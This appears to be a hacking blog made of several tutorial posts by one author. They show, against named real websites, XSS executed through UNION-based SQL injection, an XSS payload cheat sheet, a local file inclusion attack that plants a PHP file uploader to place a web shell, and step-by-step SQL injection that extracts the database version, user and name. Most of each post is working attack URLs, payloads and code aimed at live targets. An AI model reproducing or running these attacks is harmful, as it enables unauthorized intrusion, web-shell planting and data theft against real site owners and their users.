Xss using Sql injection Tutorial 1

Tn this Tutorial you will learn XSS Attack via SQL Injection.
If you are knew to XSS then i Suggest You To First Read out the Basics from the Previous Tutorial to know How it Works and What a attacker can do with XSS vulnerability.Once you have the Basic knowledge About XSS Attack then you will be able to better Understand this Tutorial "XSS with SQL Injection".
In XSS Attack via SQL Injection we will Execute our XSS payloads in UNION BASEDquery.


For Example:
We have Found a website Which is vulnerable to SQL Injection and inject into the database.But there we  can also Execute our XSS Payloads in our Union Based Query.lets Take a site for Practice,
Here is The TARGET Site 

 http://www.lokmat.com/storypage.php?catid=31&newsid=3448

 After Counting the Columns there are 9 Total Number of Columns.So let's ready up our Union Based Query and execute it .
http://www.lokmat.com/storypage.php?catid=31&newsid=3448'union select  1,2,3,4,5,6,7,8,9--+

 There we got 3rd  Column is printed on the page as output  , So we will execute our XSS Payload in that column
Here is the our XSS Payload that we are going to inject into the UNION BASED Query,

XSS PAYLOAD : <script>alert('Injected BY Mr.cyb3rwarrior-Adeshkolte');</script>
Before executing this Payload we need to Encode it in HEX Value (use hackbar)

 HexValue:0x3c7363726970743e616c6572742827496e6a6563746564204259204d722e637962337277617272696f722d41646573686b6f6c746527293b3c2f7363726970743e
Let's Insert this payload in our Union Based Query and Execute the query,

 http://www.lokmat.com/storypage.php?catid=31&newsid=3448'union select  1,2,0x3c7363726970743e616c6572742827496e6a6563746564204259204d722e637962337277617272696f722d41646573686b6f6c746527293b3c2f7363726970743e,4,5,6,7,8,9--+
output














This Payload will Display us a XSS Pop-up Alert .This is the basic XSS Payload 
Enjoy
This is the basic XSS Payload ,you can try more Payloads which will  posted in the next tutoria 
Posted by at

XSS Cheat Sheet:

This vulnerability occurs due to Poor Developing application of the code.A Attacker able to inject his malicious HTML code through client web browsers.
Mostly The Whole XSS Attack is based on Javascript and HTML for Executing malicious Codes in Target Website .Once a attacker will be able to run his code with the Javascript on the Web then when the User will come to the site and click on that malicious link that Javascript will be executed .Mostly People Do XSS and Show a Pop-up With their Name to advertise themselves .
XSS can be used for Phishing as well as Stealing Accounts or we can do some Social Engineering with XSS.
XSS Cheat Sheet:
<script>alert(1);</script>
<script>alert('XSS');</script>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=javascript:alert('XSS')>
<scr<script>ipt>alert('XSS');</scr</script>ipt>
'><script>alert(0)</script>
<img src=foo.png onerror=alert(/xssed/) />
<style>@import'ja asc
ipt:alert("XSS")';</style>
<? echo('<scr)'; echo('ipt>alert("XSS")</script>'); ?>
<marquee><script>alert('XSS')</script></marquee>
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<script src=http://yoursite.com/your_files.js></script>
</title><script>alert(/xss/)</script>
<IMG DYNSRC="javascript:alert('XSS')">
<img src=javascript:alert('XSS')>
<script language=JavaScript>alert('XSS')</script>
<body onunload=javascript:alert('XSS');>
<body onLoad='alert('XSS');'
[color=red' onmouseover='alert('xss')']mouse over[/color]
'/></a></><img src=1.gif onerror=alert(1)>
window.alert('Bonjour !');
<div style='x:expression((window.r==1)?'':eval('r=1;
<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
'>><marquee><h1>XSS</h1></marquee>
Posted by at

shell upoading Using LFI by Mr.Cyb3rWarrior (ADesh kolte)





Today I Shown how To Hack A Website using LFI:- Please Do Not Deafce This

               Target Site:- http://www.clginstitute.org

Step:1 Find The LFI Target Point On This Website:-

Target LFI Point:-

http://www.clginstitute.org/?content=newsandevent.php



Step:2 Now Remove All Text After The (./?content=) Now Url looking Like This:-

http://www.clginstitute.org/?content=



Step:3 Put The Back_slash After The (./?content=) Now Url looking Like This:-

http://www.clginstitute.org/?content=/

If You Got Any Error After Puting The (/) Than Chance To Valurnable To LFI IS 80% If You Seen Datas Are Hide On Website, Than Chance To Valurnable To LFI IS 50-50%

Here Is got Error on Website After Put (/)



Warning: include(/): failed to open stream: No such device in /home/clginsti/public_html/callpage.php on line 9



Warning: include(): Failed opening '/' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/clginsti/public_html/callpage.php on line 9











Step:4 Put This Code After The (./?content=) /proc/self/environ Now Url Look Like This:-

 http://www.clginstitute.org/?content=/proc/self/environ

You Seen After Put /proc/self/environ Its Seen Some Seesion Request On Website, That Mins We Are Able To Upload Our Shell.





Step:5 Open The Tamper Data(Mozila Addone) And Start The Tampering The data And refress The Traget Url:-



Step:6 Put Your Uploader Code in tamper Data On The User_code Or Accept, I Put My Uploader Code On The Accept.

And Submit The Request.

Uploader Code:-







<?php

echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';

echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';

if( $_POST['_upl'] == "Upload" ) {

    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }

    else { echo '<b>Upload GAGAL !!!</b><br><br>'; }

}

?>



Step:7 Now You Seen Our Uplader in The Website, Here Upload Your shell And Submit Your Request in Tamper Data.

Step:8 Now Agin Put Your Uploader Code On The Accept, Using The Tamper data During The Shell Uploading Time.

Step:9 Your Shell Got Uploaded On the Server Check  It Now.



Tnx For See My tutorials Please Post Your Positive Comment If You Learn Something New.

And Also Post Your Webhacking tutorials in Fourm.

BY Mr.Cyb3rWarrior (Adesh kolte)


Posted by at

Basic part of sqli practically



hello Guyzzz

only for  Educational purpoe

let me intorduce my self



im Adesh kolte  and im from india,



this is my first tutorial on basic sql injection



this was the basic tutorial so it will be  little lengthy so be patient while watching



im not discussing any theory regarding sql injection so i recommend watch some articles about sql db strucute and backend process of sql injection to understand the sql injection in a better way .so im discussing only the practial part.



before starting injecting download the following tool from google



=>  hackbar addon or rootkajji addon for mozilla firefox.



ok lets start with basic  based sql injection





site>  http://greenwall.org/recent-news.php?id=16

we can check whether the site is vulnerable to sql injection or not by putting a singlequote or a back slash (\) after perameter [id=2] lets try on a site



http://greenwall.org/recent-news.php?id=16 '

'



we got the following error





=> check the manual that corresponds to your MySQL server version for the right syntax to use near ''-- -' at line 1

that mean this site is vulnerable to sql injection





and some times even the site dontshow this error there is a chance for sql injection vulnerability



in such cases how we can know that our target site is vulnerable or not ??



obseve the site behaviour mean => when u put  a single quote or  backslash (\) after perameter( id=2' ) u can obseve some content is missing on page or something on the page don't load normally, so it also mean that our target site is vulnerable to sql injection.***



ok lets continue with our injection





 http://greenwall.org/recent-news.php?id=16 '





we got an sql error



first of all we have to fix the query before we go further



(fixing query is nothing but making the site load normally without any error)



usually we use -- in integer based to fix the query



http://greenwall.org/recent-news.php?id='16 '--+ (error fixed)







so we can continue to the next part which is finding number of coloumns in the site



there are many methords for finding no.of coloumns for now im showing only 2 mehords.***



one with order by and the other with group by



1. order by



http://greenwall.org/recent-news.php?id='16 '

 order by 100--+



we got the following error



Query failed: blank some text missing



http://greenwall.org/recent-news.php?id='16 '

 order by 16--+

it mean the site has less than 16 coloumns



now we have to use union statement to find the vulnerable coloumns



http://greenwall.org/recent-news.php?id='16 '+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- -



u can see 3 and 4 numbers on page(vulnerable coloumns)



now we can get everything from this vulenrable coloumns





lets get some basic information Smile



note::



1. version() or @@version  => to display version of server



2. user() or @@user => to display the username of site







ok lets get them one by one





http://greenwall.org/recent-news.php?id='16 '+UNION+ALL+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16-- -



result on web page =>



5.6.29



http://greenwall.org/recent-news.php?id='16 '+UNION+ALL+SELECT+1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16-- -



result => green62_view@localhost







http://greenwall.org/recent-news.php?id='16 '+UNION+ALL+SELECT+1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16-- -



result => green62_site





thats all for this tutorial

Enjoy

tutorial by Adesh kolte

Video tutorial

Basic part of sqli

https://youtu.be/A-EYrT3i_v0
Posted by at